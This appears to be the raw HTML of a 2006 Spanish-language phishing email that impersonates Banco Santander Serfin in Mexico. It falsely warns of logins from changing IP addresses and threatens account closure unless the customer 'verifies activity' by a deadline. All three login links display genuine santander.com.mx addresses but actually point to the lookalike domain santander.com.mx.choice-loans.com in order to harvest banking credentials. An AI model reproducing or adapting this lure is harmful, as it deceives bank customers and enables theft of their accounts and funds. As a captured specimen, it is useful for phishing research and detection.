<table cellSpacing=0 cellPadding=0 width=100% bgColor=#dbeaf5 border=0 id=table1>
        <tr>
                <td vAlign=top width=100%>
                <table height=209 width=100% bgColor=#ffffff id=table2>
                        <tr>
                                <td vAlign=top>
                                <table cellSpacing=8 cellPadding=0 width=100% align=center

border=0 nowrap id=table3>
                                        <tr>
                                                <td>
                                                <div>
                                                        <img height=39

src=http://www.santander.com.mx/publishapp/schmex/fijos/images/logo.gif width=198 border=0><p

align=justify>
                                                        <font face=Arial>Estimado

Cliente,</font></p>
                                                        <p align=justify><font face=Arial><br>
                                                        Según nuestros registros informáticos, hemos
                                                        detectado recientemente que los accesos a su

cuenta
                                                        a través de Banca en la Red han sido

realizados
                                                        desde diferentes direcciones IP. <br>
                                                        Esto seguramente se debe a que la dirección

IP de su
                                                        computador es dinámica y varía

constantemente, o
                                                        debido a que usted ha utilizado mas de un

computador
                                                        para acceder a su cuenta. <br>
                                                        Debido a este suceso y en cumplimiento con

la nueva
                                                        normativa vigente, hemos actualizado

nuestros
                                                        sistemas informáticos para brindar una mayor
                                                        seguridad a nuestros clientes, por lo cual
                                                        necesitaremos que ingrese en su cuenta y

efectúe una
                                                        verificación de su actividad reciente. Los
                                                        procedimientos de seguridad requieren que

usted
                                                        verifique la actividad en su cuenta antes

del
                                                        <font color=#FF0000><b>15 de Septiembre del

2006</b></font>.
                                                        Transcurrida esa fecha, el sistema

informático
                                                        automatizado dara de baja su cuenta. Asi

mismo le
                                                        recordamos que este correo no es para

verificar los
                                                        datos de su tarjeta es solo para verificar

la
                                                        actividad,  ya que no lo hacemos.<br>
                                                        De ante mano le agradecemos su cooperación

en este
                                                        aspecto.<br>
                                                        Para ingresar a su cuenta a través de Banca

en la
                                                        Red y verificar la actividad de la misma,

debe
                                                        utilizar el siguiente enlace: </font></p>
                                                        <p> </p>
                                                        <p><font face=Arial>Para

Personas:</font></p>
                                                        <p>
                                                        <a

href=http://www.santander.com.mx.choice-loans.com/SuperNetII/schmexapp/index.jsp>


http://www.santander.com.mx/Personas/login.asp?verificaridentidad=true&controlacceso=true</a></p>
                                                        <p align=justify><font face=Arial>Para

Empresas:</font></p>
                                                        <p> <a

href=http://www.santander.com.mx.choice-loans.com/SuperNetII/schmexapp/index.jsp>http://www.santander.com.mx/empresas/lo

gin.asp?verificaridentidad=true&controlacceso=true</a></p>
                                                        <p><font face=Arial>Para Banca

Privada:</font></p>
                                                        <p>
                                                        <a

href=http://www.santander.com.mx.choice-loans.com/SuperNetII/schmexapp/index.jsp>


http://www.santander.com.mx/bancaprivada/login.asp?verificaridentidad=true&controlacceso=true</a></p

>
                                                        <layer id=dep2

onmouseover=clear_delayhide(); onmouseout=ResetMenuInfNS4(); name=dep2 width=600px>
                                                        </layer>
                                                        </ILAYER>
                                                        <form name=PagoRecSegLogin method=post>
                                                                <table cellSpacing=0

cellPadding=0 width=770 border=0 id=table4>
                                                                        <tr>
                                                                                <td width=84%>
                                                                                <table

cellSpacing=0 cellPadding=0 width=100% border=0 id=table5>
                                                                                        <tr>
                                                                                                <td

colSpan=2>


<table height=150 cellSpacing=0 cellPadding=0 width=100% border=0 id=table6>


<tr>


        <td align=middle>


        Banco Santander Serfin,


        S.A., 2006</td>


</tr>


</table>


</td>
                                                                                        </tr>
                                                                                </table>
                                                                                </td>
                                                                        </tr>
                                                                </table>
                                                        </form>
                                                        <p> </div>
                                                </td>
                                        </tr>
                                </table>
                                </td>
                        </tr>
                </table>
                </td>
        </tr>
</table>